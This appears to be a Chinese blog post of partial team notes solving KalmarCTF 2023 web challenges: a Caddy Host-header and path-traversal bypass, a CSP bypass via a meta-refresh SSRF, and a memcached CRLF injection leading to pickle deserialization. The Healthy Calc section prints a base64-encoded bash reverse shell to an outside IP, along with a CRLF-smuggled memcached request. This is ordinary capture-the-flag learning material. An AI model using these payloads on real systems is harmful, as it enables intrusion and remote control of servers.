March 10, 2023

KalmarCTF2023(部分)

Ez ⛳ | SOLVED | Working - Boogipop、Mz1、TEL

U1S1没搞懂啥意思,只知道个大概,指纹是caddy 2.4.5在这个版本也没找到啥像样的洞,只找到一个
https://github.com/cokeBeer/go-cves/blob/main/CVE-2022-29718/CVE-2022-29718.md
好像和版本还对不上
很怪
参照 Mz1 在数据包 Host 头进行注入,一开始发现 backups/php.caddy.chal-kalmarc.tf 可以访问到 index.php,而访问 flag.txt 会被禁止

期间尝试了一下 /../flag.txt 还真成功把 respond /flag.txt 403 绕过了

配置文件不当造成,可直接host注入

Invoiced | SOLVED | Working - Boogipop - TEL

1
app.get('/orders', (req, res) => {   if (req.socket.remoteAddress != "::ffff:127.0.0.1") {     return res.send("Nice try")   }   if (req.cookies['bot']) {     return res.send("Nice try")   }   res.setHeader('X-Frame-Options', 'none');   res.send(process.env.FLAG || 'kalmar{test_flag}') }) app.listen(port, () => {   console.log(`Example app listening on port ${port}`) })

有牛魔的CSP限制,CSP不可控
可以加在指定网站的资源:
<img src="https://dummyimage.com/300.png/09f/fff"/>

iframe内联无果
<iframe src="http://localhost:5000/orders" width="800" height="500"></iframe>
我思路是通过PDF导出进行SSRF,但这就得绕过这个CSP限制,只给了2个网站也就是题目靶场UI所需的网站
pdf.js里的主要逻辑:
之前想过Nodejs的走私攻击,但是经过测试发现好像是不可以的,Node8才可以,再看看吧,另外pdf导出用的是Skia/PDF m111,它的CVE比较少,我也不太清楚
CSP的一些bypass:
https://mp.weixin.qq.com/s?__biz=MzIzOTg0NjYzNg==&mid=2247483786&idx=1&sn=da19910a9f070c996271e1004c4dd2c4&chksm=e9229409de551d1f6eb39bccd9f31ef06e88cde06f59f5598caeb60d3eb8205c29acbb1245e7&mpshare=1&scene=23&srcid=0213Rrs3rF72hAbWbaCl24bC&sharer_sharetime=1676276089804&sharer_shareid=096dcc929ccf5f1e5f67d3e7f4368db7#rd
还有一种思路就是
怎么bypassquerystring.stringify(body)
TEL师傅给出了一篇文章(TQL):
破案了,可以直接用meta标签绕过
https://www.mi1k7ea.com/2019/02/24/CSP%E7%AD%96%E7%95%A5%E5%8F%8A%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%E5%B0%8F%E7%BB%93/
在这里提到了一种tips
<meta http-equiv="refresh" content="1;url=target" >
用这种方式实现页面跳转,最后的payload也就成立
<meta http-equiv="refresh" content="1;url=http://127.0.0.1:5000/orders" >
注意用http而不是https:

Healthy Calc | SOLVED | Working - TEL - Boogipop - M1sery - Mz1

PayAttention:
关于环境搭建


初步推断为 Python原型链
这题的执行点在哪里搞不清楚呜呜呜
调试中的fullcmd也就是最终在memcached执行的命令为b’set main.add_7899_11223 2 86400 5 \r\n19122’
get方法对应:b’get main.add_11_11’
需要二次注入,第一次正常赋值,第二次在后面附加恶意payload就可以绕过类型转换(maybe)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3OCA8JjE=|base64 -d|sh(shell,等下删了)
如下方式可以进行命令注入和篡改值:
GET /calc/add/1/1%0d%0aset%20__main
._add_1_1%200%203600%202%0d%0a96 HTTP/1.1
格式如下
本地是可以执行所有命令的,但是远程的时候好像只有flush_all命令可以打通

对于缓存处理部分是以set和get指令来存入memcached和取出

回到这里,看这篇文章https://paper.seebug.org/papers/Archive/drops2/%E8%A2%AB%E4%BA%BA%E9%81%97%E5%BF%98%E7%9A%84Memcached%E5%86%85%E5%AD%98%E6%B3%A8%E5%B0%84.html
以及gopherus中的


思路转变为对memcached进行CRLF注入,从而触发pickle反序列化
请问你们看到了我的shell吗????

复现

操作半天,shell 呢

需要特别注意 set 插入的数据需要完全符合

2Cool4School | OPEN | Working - Boogipop(Giveup) TEL

开了这么多题一题没解人都自闭了

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#KalmarCTF